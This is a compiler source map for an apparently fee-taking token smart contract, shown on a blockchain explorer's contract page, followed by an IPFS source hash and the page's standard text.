;18671:5;18661:15;;18595:81;18696:4;;-1:-1:-1;;;;;18696:4:0;;;18690:10;;;;18687:28;;-1:-1:-1;18711:4:0;18687:28;18735:4;;-1:-1:-1;;;;;18729:10:0;;;18735:4;;18729:10;;;;:26;;-1:-1:-1;18751:4:0;;-1:-1:-1;;;;;18743:12:0;;;18751:4;;18743:12;;18729:26;18726:46;;;18767:5;18757:15;;18726:46;18783:49;18798:4;18804:2;18808:6;18816:7;18825:6;18783:14;:49::i;:::-;16321:2519;;;16252:2588;;;:::o;15195:158::-;15236:7;15257:15;15274;15293:19;:17;:19::i;:::-;15256:56;;-1:-1:-1;15256:56:0;-1:-1:-1;15330:15:0;15256:56;;15330:15;:::i;:::-;15323:22;;;;15195:158;:::o;2273:173::-;2329:16;2348:6;;-1:-1:-1;;;;;2365:17:0;;;-1:-1:-1;;2365:17:0;;;;;;2398:40;;2348:6;;;;;;;2398:40;;2329:16;2398:40;2318:128;2273:173;:::o;20000:1164::-;6540:8;:15;;-1:-1:-1;;6540:15:0;;;;;20155:12:::1;::::0;::::1;::::0;20138:14:::1;::::0;::::1;::::0;20121::::1;::::0;::::1;::::0;6540:15;;20155:12;20121:31:::1;::::0;::::1;:::i;:::-;:46;;;;:::i;:::-;20120:52;::::0;20171:1:::1;20120:52;:::i;:::-;20098:74;;20183:32;20253:11;20236:4;:14;;;20218:15;:32;;;;:::i;:::-;:46;;;;:::i;:::-;20183:81:::0;-1:-1:-1;20275:14:0::1;20292:42;20183:81:::0;20292:15;:42:::1;:::i;:::-;20275:59:::0;-1:-1:-1;20372:21:0::1;20406:24;20275:59:::0;20406:16:::1;:24::i;:::-;20443:20;20466:38;20490:14:::0;20466:21:::1;:38;:::i;:::-;20443:61;;20515:19;20566:4;:14;;;20552:11;:28;;;;:::i;:::-;20536:45;::::0;:12;:45:::1;:::i;:::-;20515:66;;20592:29;20638:4;:14;;;20624:11;:28;;;;:::i;:::-;20592:60:::0;-1:-1:-1;20668:25:0;;20665:158:::1;;20750:61;20763:24;20789:21;20750:12;:61::i;:::-;20876:14;::::0;::::1;::::0;20835:20:::1;::::0;20858:15:::1;:11:::0;20872:1:::1;20858:15;:::i;:::-;:32;;;;:::i;:::-;20835:55:::0;-1:-1:-1;20904:16:0;;20901:95:::1;;20944:15;::::0;20936:48:::1;::::0;-1:-1:-1;;;;;20944:15:0::1;20971:12:::0;20936:34:::1;:48::i;:::-;21045:12;::::0;::::1;::::0;21006:18:::1;::::0;21027:15:::1;:11:::0;21041:1:::1;21027:15;:::i;:::-;:30;;;;:::i;:::-;21006:51:::0;-1:-1:-1;21071:14:0;;21068:89:::1;;21109:13;::::0;21101:44:::1;::::0;-1:-1:-1;;;;;21109:13:0::1;21134:10:::0;21101:32:::1;:44::i;:::-;-1:-1:-1::0;;6578:8:0;:16;;-1:-1:-1;;6578:16:0;;;-1:-1:-1;;;;;;;;;20000:1164:0:o;18921:1071::-;19043:28;19074:36;19085:7;19094;19103:6;19074:10;:36::i;:::-;-1:-1:-1;;;;;19138:19:0;;;;;;:11;:19;;;;;;19043:67;;-1:-1:-1;19138:19:0;;19134:115;;;-1:-1:-1;;;;;19214:15:0;;;;;;:7;:15;;;;;;:23;;19230:7;;19214:23;:::i;:::-;-1:-1:-1;;;;;19196:15:0;;;;;;:7;:15;;;;;:41;19134:115;-1:-1:-1;;;;;19263:22:0;;;;;;:11;:22;;;;;;;;19259:130;;;19360:17;;;;-1:-1:-1;;;;;19341:18:0;;;;;;:7;:18;;;;;;:36;;19360:17;19341:36;:::i;:::-;-1:-1:-1;;;;;19320:18:0;;;;;;:7;:18;;;;;:57;19259:130;19435:9;;-1:-1:-1;;;;;19419:15:0;;19435:9;19419:15;;;:7;:15;;;;;;:25;;19435:9;19419:25;:::i;:::-;-1:-1:-1;;;;;19401:15:0;;;;;;;:7;:15;;;;;;;;:43;;;;19495:17;;;19476:18;;;;;;;;;;:36;;19495:17;19476:36;:::i;:::-;-1:-1:-1;;;;;19455:18:0;;;;;;:7;:18;;;;;:57;19536:12;;;;:16;;;:36;;;19571:1;19556;:12;;;:16;19536:36;19533:202;;;19589:41;19604:1;:12;;;19617:1;:12;;;19589:14;:41::i;:::-;19675:4;-1:-1:-1;;;;;19650:73:0;19659:6;-1:-1:-1;;;;;19650:73:0;;19712:1;:10;;;19697:1;:12;;;19682:1;:12;;;:27;;;;:::i;:::-;:40;;;;:::i;:::-;19650:73;;2534:25:1;;;2522:2;2507:18;19650:73:0;;;;;;;19533:202;19763:1;19748;:12;;;:16;:36;;;;19783:1;19768;:12;;;:16;19748:36;19745:83;;;19786:42;19801:1;:12;;;19815:1;:12;;;19786:14;:42::i;:::-;19855:1;19842;:10;;;:14;:32;;;;19873:1;19860;:10;;;:14;19842:32;19839:73;;;19876:36;19889:1;:10;;;19901:1;:10;;;19876:12;:36::i;:::-;19945:9;-1:-1:-1;;;;;19928:46:0;19937:6;-1:-1:-1;;;;;19928:46:0;;19956:1;:17;;;19928:46;;;;2534:25:1;;2522:2;2507:18;;2388:177;19928:46:0;;;;;;;;19032:960;18921:1071;;;;;:::o;15361:540::-;15458:7;;15494;;15411;;;;;15512:279;15536:9;:16;15532:20;;15512:279;;;15602:7;15578;:21;15586:9;15596:1;15586:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;15586:12:0;15578:21;;;;;;;;;;;;;:31;;:66;;;15637:7;15613;:21;15621:9;15631:1;15621:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;15621:12:0;15613:21;;;;;;;;;;;;;:31;15578:66;15574:97;;;15654:7;;15663;;15646:25;;;;;;;15361:540;;:::o;15574:97::-;15704:7;:21;15712:9;15722:1;15712:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;15712:12:0;15704:21;;;;;;;;;;;;;15696:29;;:7;:29;:::i;:::-;15686:39;;15758:7;:21;15766:9;15776:1;15766:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;15766:12:0;15758:21;;;;;;;;;;;;;15750:29;;:7;:29;:::i;:::-;15740:39;-1:-1:-1;15554:3:0;;;;:::i;:::-;;;;15512:279;;;;15823:7;;15815;;:15;;;;:::i;:::-;15805:7;:25;15801:56;;;15840:7;;15849;;15832:25;;;;;;15361:540;;:::o;15801:56::-;15876:7;;15885;;-1:-1:-1;15361:540:0;-1:-1:-1;15361:540:0:o;21675:562::-;21825:16;;;21839:1;21825:16;;;;;;;;21801:21;;21825:16;;;;;;;;;;-1:-1:-1;21825:16:0;21801:40;;21870:4;21852;21857:1;21852:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21852:23:0;;;:7;;;;;;;;;;:23;;;;21896:6;;:13;;;;;;;;:6;;;;;:11;;:13;;;;;21852:7;;21896:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21886:4;21891:1;21886:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21886:23:0;;;:7;;;;;;;;;:23;21954:6;;21922:53;;21939:4;;21954:6;21963:11;21922:8;:53::i;:::-;22014:6;;:215;;;;;-1:-1:-1;;;;;22014:6:0;;;;:57;;:215;;22086:11;;22014:6;;22156:4;;22183;;22203:15;;22014:215;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21172:495;21352:6;;21320:53;;21337:4;;-1:-1:-1;;;;;21352:6:0;21361:11;21320:8;:53::i;:::-;21416:6;;-1:-1:-1;;;;;21416:6:0;:22;21446:9;21479:4;21499:11;21416:6;;21611:7;1794;1821:6;-1:-1:-1;;;;;1821:6:0;;1748:87;21611:7;21416:243;;;;;;;;;;-1:-1:-1;;;;;13409:15:1;;;21416:243:0;;;13391:34:1;13441:18;;;13434:34;;;;13484:18;;;13477:34;;;;13527:18;;;13520:34;13591:15;;;13570:19;;;13563:44;21633:15:0;13623:19:1;;;13616:35;13302:19;;21416:243:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;3216:317::-;3331:6;3306:21;:31;;3298:73;;;;-1:-1:-1;;;3298:73:0;;22475:2:1;3298:73:0;;;22457:21:1;22514:2;22494:18;;;22487:30;22553:31;22533:18;;;22526:59;22602:18;;3298:73:0;22273:353:1;3298:73:0;3385:12;3403:9;-1:-1:-1;;;;;3403:14:0;3425:6;3403:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3384:52;;;3455:7;3447:78;;;;-1:-1:-1;;;3447:78:0;;23043:2:1;3447:78:0;;;23025:21:1;23082:2;23062:18;;;23055:30;23121:34;23101:18;;;23094:62;23192:28;23172:18;;;23165:56;23238:19;;3447:78:0;22841:422:1;13257:454:0;13343:36;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13343:36:0;13404:37;13416:7;13425;13434:6;13404:11;:37::i;:::-;13392:49;;13545:53;13558:9;13569:7;13578;13587:10;:8;:10::i;:::-;13545:12;:53::i;:::-;13521:20;;;13452:146;13499:20;;;13452:146;13472:25;;;13452:146;;;13632:44;13453:9;13656:7;13665:10;:8;:10::i;:::-;13632:12;:44::i;:::-;13610:18;;;13609:67;13257:454;;;;;:::o;12395:266::-;12502:10;12478:11;:21;;;:34;;;;;;;:::i;:::-;;;;-1:-1:-1;;12548:4:0;12528:26;;;;:11;:26;;;;;;;;12525:92;;;12588:4;;-1:-1:-1;;;;;12588:4:0;12580:13;;;;:7;:13;;;;;:25;;12595:10;;12580:13;:25;;12595:10;;12580:25;:::i;:::-;;;;-1:-1:-1;;12525:92:0;12635:4;;-1:-1:-1;;;;;12635:4:0;12627:13;;;;:7;:13;;;;;:26;;12643:10;;12627:13;:26;;12643:10;;12627:26;:::i;:::-;;;;-1:-1:-1;;;;12395:266:0:o;12669:288::-;12776:10;12752:11;:21;;;:34;;;;;;;:::i;:::-;;;;-1:-1:-1;;12822:4:0;12802:26;;;;:11;:26;;;;;;;;12799:103;;;12862:15;;-1:-1:-1;;;;;12862:15:0;12854:24;;;;:7;:24;;;;;:36;;12880:10;;12854:24;:36;;12880:10;;12854:36;:::i;:::-;;;;-1:-1:-1;;12799:103:0;12920:15;;-1:-1:-1;;;;;12920:15:0;12912:24;;;;:7;:24;;;;;:37;;12939:10;;12912:24;:37;;12939:10;;12912:37;:::i;12969:270::-;13068:8;13046:11;:19;;;:30;;;;;;;:::i;:::-;;;;-1:-1:-1;;13112:4:0;13092:26;;;;:11;:26;;;;;;;;13089:99;;;13152:13;;-1:-1:-1;;;;;13152:13:0;13144:22;;;;:7;:22;;;;;:32;;13168:8;;13144:22;:32;;13168:8;;13144:32;:::i;:::-;;;;-1:-1:-1;;13089:99:0;13206:13;;-1:-1:-1;;;;;13206:13:0;13198:22;;;;:7;:22;;;;;:33;;13223:8;;13198:22;:33;;13223:8;;13198:33;:::i;13719:563::-;13806:28;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13806:28:0;13853:7;13849:86;;13875:17;;;:27;;;13915:8;;13849:86;13945:17;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13945:17:0;13976:6;13973:55;;;-1:-1:-1;13984:16:0;;;;;;;;13991:9;13984:16;;;;;;;;;;;;;;;;;;;;;;;;;13973:55;;;-1:-1:-1;14016:12:0;;;;;;;;14023:5;14016:12;;;;;;;;;;;;;;;;;;;;;;;;13973:55;14077:3;14062:4;:14;;;14054:7;:22;;;;:::i;:::-;:26;;;;:::i;:::-;14039:12;;;:41;14114:14;;;;14129:3;;14106:22;;:7;:22;:::i;:::-;:26;;;;:::i;:::-;14091:12;;;:41;14164:12;;;;14177:3;;14156:20;;:7;:20;:::i;:::-;:24;;;;:::i;:::-;14143:10;;;:37;;;14232:12;;;;14219;;;;14211:20;;:7;:20;:::i;:::-;:33;;;;:::i;:::-;:44;;;;:::i;:::-;14191:17;;;:64;-1:-1:-1;13719:563:0;;;;;:::o;14290:617::-;14416:15;;;;14517:19;14525:11;14517:7;:19;:::i;:::-;14507:29;;14553:7;14549:67;;-1:-1:-1;14582:7:0;;-1:-1:-1;14600:1:0;;-1:-1:-1;14600:1:0;14575:29;;14549:67;14654:11;14641:1;:12;;;:24;;;;:::i;:::-;14628:37;;14702:11;14689:1;:12;;;:24;;;;:::i;:::-;14676:37;;14724:16;14754:11;14743:1;:10;;;:22;;;;:::i;:::-;14724:41;-1:-1:-1;14724:41:0;14814:10;14795:18;14803:10;14795:7;:18;:::i;:::-;:29;;;;:::i;:::-;:38;;;;:::i;:::-;14776:57;;14844:55;14290:617;;;;;;;;;;:::o;14919:268::-;15028:16;15063:7;15059:47;;-1:-1:-1;15092:1:0;15085:9;;15059:47;15140:11;15129:1;:10;;;:22;;;;:::i;:::-;15118:33;14919:268;-1:-1:-1;;;;14919:268:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:154::-;-1:-1:-1;;;;;646:5:1;642:54;635:5;632:65;622:93;;711:1;708;701:12;726:134;794:20;;823:31;794:20;823:31;:::i;:::-;726:134;;;:::o;865:315::-;933:6;941;994:2;982:9;973:7;969:23;965:32;962:52;;;1010:1;1007;1000:12;962:52;1049:9;1036:23;1068:31;1093:5;1068:31;:::i;:::-;1118:5;1170:2;1155:18;;;;1142:32;;-1:-1:-1;;;865:315:1:o;1377:118::-;1463:5;1456:13;1449:21;1442:5;1439:32;1429:60;;1485:1;1482;1475:12;1500:128;1565:20;;1594:28;1565:20;1594:28;:::i;1633:750::-;1725:6;1733;1741;1794:2;1782:9;1773:7;1769:23;1765:32;1762:52;;;1810:1;1807;1800:12;1762:52;1850:9;1837:23;1879:18;1920:2;1912:6;1909:14;1906:34;;;1936:1;1933;1926:12;1906:34;1974:6;1963:9;1959:22;1949:32;;2019:7;2012:4;2008:2;2004:13;2000:27;1990:55;;2041:1;2038;2031:12;1990:55;2081:2;2068:16;2107:2;2099:6;2096:14;2093:34;;;2123:1;2120;2113:12;2093:34;2178:7;2171:4;2161:6;2158:1;2154:14;2150:2;2146:23;2142:34;2139:47;2136:67;;;2199:1;2196;2189:12;2136:67;2230:4;2222:13;;;;-1:-1:-1;2254:6:1;-1:-1:-1;;2295:20:1;;2282:34;2325:28;2282:34;2325:28;:::i;:::-;2372:5;2362:15;;;1633:750;;;;;:::o;2570:456::-;2647:6;2655;2663;2716:2;2704:9;2695:7;2691:23;2687:32;2684:52;;;2732:1;2729;2722:12;2684:52;2771:9;2758:23;2790:31;2815:5;2790:31;:::i;:::-;2840:5;-1:-1:-1;2897:2:1;2882:18;;2869:32;2910:33;2869:32;2910:33;:::i;:::-;2570:456;;2962:7;;-1:-1:-1;;;3016:2:1;3001:18;;;;2988:32;;2570:456::o;3031:180::-;3090:6;3143:2;3131:9;3122:7;3118:23;3114:32;3111:52;;;3159:1;3156;3149:12;3111:52;-1:-1:-1;3182:23:1;;3031:180;-1:-1:-1;3031:180:1:o;3636:241::-;3692:6;3745:2;3733:9;3724:7;3720:23;3716:32;3713:52;;;3761:1;3758;3751:12;3713:52;3800:9;3787:23;3819:28;3841:5;3819:28;:::i;3882:247::-;3941:6;3994:2;3982:9;3973:7;3969:23;3965:32;3962:52;;;4010:1;4007;4000:12;3962:52;4049:9;4036:23;4068:31;4093:5;4068:31;:::i;4134:388::-;4202:6;4210;4263:2;4251:9;4242:7;4238:23;4234:32;4231:52;;;4279:1;4276;4269:12;4231:52;4318:9;4305:23;4337:31;4362:5;4337:31;:::i;:::-;4387:5;-1:-1:-1;4444:2:1;4429:18;;4416:32;4457:33;4416:32;4457:33;:::i;:::-;4509:7;4499:17;;;4134:388;;;;;:::o;4527:248::-;4595:6;4603;4656:2;4644:9;4635:7;4631:23;4627:32;4624:52;;;4672:1;4669;4662:12;4624:52;-1:-1:-1;;4695:23:1;;;4765:2;4750:18;;;4737:32;;-1:-1:-1;4527:248:1:o;4780:382::-;4845:6;4853;4906:2;4894:9;4885:7;4881:23;4877:32;4874:52;;;4922:1;4919;4912:12;4874:52;4961:9;4948:23;4980:31;5005:5;4980:31;:::i;:::-;5030:5;-1:-1:-1;5087:2:1;5072:18;;5059:32;5100:30;5059:32;5100:30;:::i;5818:184::-;-1:-1:-1;;;5867:1:1;5860:88;5967:4;5964:1;5957:15;5991:4;5988:1;5981:15;6007:1191;6097:6;6105;6158:2;6146:9;6137:7;6133:23;6129:32;6126:52;;;6174:1;6171;6164:12;6126:52;6214:9;6201:23;6243:18;6284:2;6276:6;6273:14;6270:34;;;6300:1;6297;6290:12;6270:34;6338:6;6327:9;6323:22;6313:32;;6383:7;6376:4;6372:2;6368:13;6364:27;6354:55;;6405:1;6402;6395:12;6354:55;6441:2;6428:16;6463:4;6486:2;6482;6479:10;6476:36;;;6492:18;;:::i;:::-;6538:2;6535:1;6531:10;6570:2;6564:9;6633:2;6629:7;6624:2;6620;6616:11;6612:25;6604:6;6600:38;6688:6;6676:10;6673:22;6668:2;6656:10;6653:18;6650:46;6647:72;;;6699:18;;:::i;:::-;6735:2;6728:22;6785:18;;;6819:15;;;;-1:-1:-1;6861:11:1;;;6857:20;;;6889:19;;;6886:39;;;6921:1;6918;6911:12;6886:39;6945:11;;;;6965:148;6981:6;6976:3;6973:15;6965:148;;;7047:23;7066:3;7047:23;:::i;:::-;7035:36;;6998:12;;;;7091;;;;6965:148;;;7132:6;-1:-1:-1;7157:35:1;;-1:-1:-1;7173:18:1;;;7157:35;:::i;:::-;7147:45;;;;;;6007:1191;;;;;:::o;7203:385::-;7289:6;7297;7305;7313;7366:3;7354:9;7345:7;7341:23;7337:33;7334:53;;;7383:1;7380;7373:12;7334:53;-1:-1:-1;;7406:23:1;;;7476:2;7461:18;;7448:32;;-1:-1:-1;7527:2:1;7512:18;;7499:32;;7578:2;7563:18;7550:32;;-1:-1:-1;7203:385:1;-1:-1:-1;7203:385:1:o;7593:309::-;7658:6;7666;7719:2;7707:9;7698:7;7694:23;7690:32;7687:52;;;7735:1;7732;7725:12;7687:52;7774:9;7761:23;7793:28;7815:5;7793:28;:::i;8866:184::-;-1:-1:-1;;;8915:1:1;8908:88;9015:4;9012:1;9005:15;9039:4;9036:1;9029:15;9055:184;-1:-1:-1;;;9104:1:1;9097:88;9204:4;9201:1;9194:15;9228:4;9225:1;9218:15;9244:135;9283:3;9304:17;;;9301:43;;9324:18;;:::i;:::-;-1:-1:-1;9371:1:1;9360:13;;9244:135::o;9793:128::-;9860:9;;;9881:11;;;9878:37;;;9895:18;;:::i;10337:274::-;10377:1;10403;10393:189;;-1:-1:-1;;;10435:1:1;10428:88;10539:4;10536:1;10529:15;10567:4;10564:1;10557:15;10393:189;-1:-1:-1;10596:9:1;;10337:274::o;10616:125::-;10681:9;;;10702:10;;;10699:36;;;10715:18;;:::i;10746:422::-;10835:1;10878:5;10835:1;10892:270;10913:7;10903:8;10900:21;10892:270;;;10972:4;10968:1;10964:6;10960:17;10954:4;10951:27;10948:53;;;10981:18;;:::i;:::-;11031:7;11021:8;11017:22;11014:55;;;11051:16;;;;11014:55;11130:22;;;;11090:15;;;;10892:270;;;10896:3;10746:422;;;;;:::o;11173:806::-;11222:5;11252:8;11242:80;;-1:-1:-1;11293:1:1;11307:5;;11242:80;11341:4;11331:76;;-1:-1:-1;11378:1:1;11392:5;;11331:76;11423:4;11441:1;11436:59;;;;11509:1;11504:130;;;;11416:218;;11436:59;11466:1;11457:10;;11480:5;;;11504:130;11541:3;11531:8;11528:17;11525:43;;;11548:18;;:::i;:::-;-1:-1:-1;;11604:1:1;11590:16;;11619:5;;11416:218;;11718:2;11708:8;11705:16;11699:3;11693:4;11690:13;11686:36;11680:2;11670:8;11667:16;11662:2;11656:4;11653:12;11649:35;11646:77;11643:159;;;-1:-1:-1;11755:19:1;;;11787:5;;11643:159;11834:34;11859:8;11853:4;11834:34;:::i;:::-;11904:6;11900:1;11896:6;11892:19;11883:7;11880:32;11877:58;;;11915:18;;:::i;:::-;11953:20;;11173:806;-1:-1:-1;;;11173:806:1:o;11984:140::-;12042:5;12071:47;12112:4;12102:8;12098:19;12092:4;12071:47;:::i;12129:168::-;12202:9;;;12233;;12250:15;;;12244:22;;12230:37;12220:71;;12271:18;;:::i;12302:184::-;12372:6;12425:2;12413:9;12404:7;12400:23;12396:32;12393:52;;;12441:1;12438;12431:12;12393:52;-1:-1:-1;12464:16:1;;12302:184;-1:-1:-1;12302:184:1:o;12793:245::-;12860:6;12913:2;12901:9;12892:7;12888:23;12884:32;12881:52;;;12929:1;12926;12919:12;12881:52;12961:9;12955:16;12980:28;13002:5;12980:28;:::i;13662:245::-;13741:6;13749;13802:2;13790:9;13781:7;13777:23;13773:32;13770:52;;;13818:1;13815;13808:12;13770:52;-1:-1:-1;;13841:16:1;;13897:2;13882:18;;;13876:25;13841:16;;13876:25;;-1:-1:-1;13662:245:1:o;20040:251::-;20110:6;20163:2;20151:9;20142:7;20138:23;20134:32;20131:52;;;20179:1;20176;20169:12;20131:52;20211:9;20205:16;20230:31;20255:5;20230:31;:::i;20296:1026::-;20558:4;20606:3;20595:9;20591:19;20637:6;20626:9;20619:25;20663:2;20701:6;20696:2;20685:9;20681:18;20674:34;20744:3;20739:2;20728:9;20724:18;20717:31;20768:6;20803;20797:13;20834:6;20826;20819:22;20872:3;20861:9;20857:19;20850:26;;20911:2;20903:6;20899:15;20885:29;;20932:1;20942:218;20956:6;20953:1;20950:13;20942:218;;;21021:13;;-1:-1:-1;;;;;21017:62:1;21005:75;;21135:15;;;;21100:12;;;;20978:1;20971:9;20942:218;;;-1:-1:-1;;;;;;;21216:55:1;;;;21211:2;21196:18;;21189:83;-1:-1:-1;;;21303:3:1;21288:19;21281:35;21177:3;20296:1026;-1:-1:-1;;;20296:1026:1:o;21962:306::-;22050:6;22058;22066;22119:2;22107:9;22098:7;22094:23;22090:32;22087:52;;;22135:1;22132;22125:12;22087:52;22164:9;22158:16;22148:26;;22214:2;22203:9;22199:18;22193:25;22183:35;;22258:2;22247:9;22243:18;22237:25;22227:35;;21962:306;;;;;:::o

Swarm Source

ipfs://2060084815bd5749a5f2a6da52f38c593b0b32e44a2ecb024f28c60115df877f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.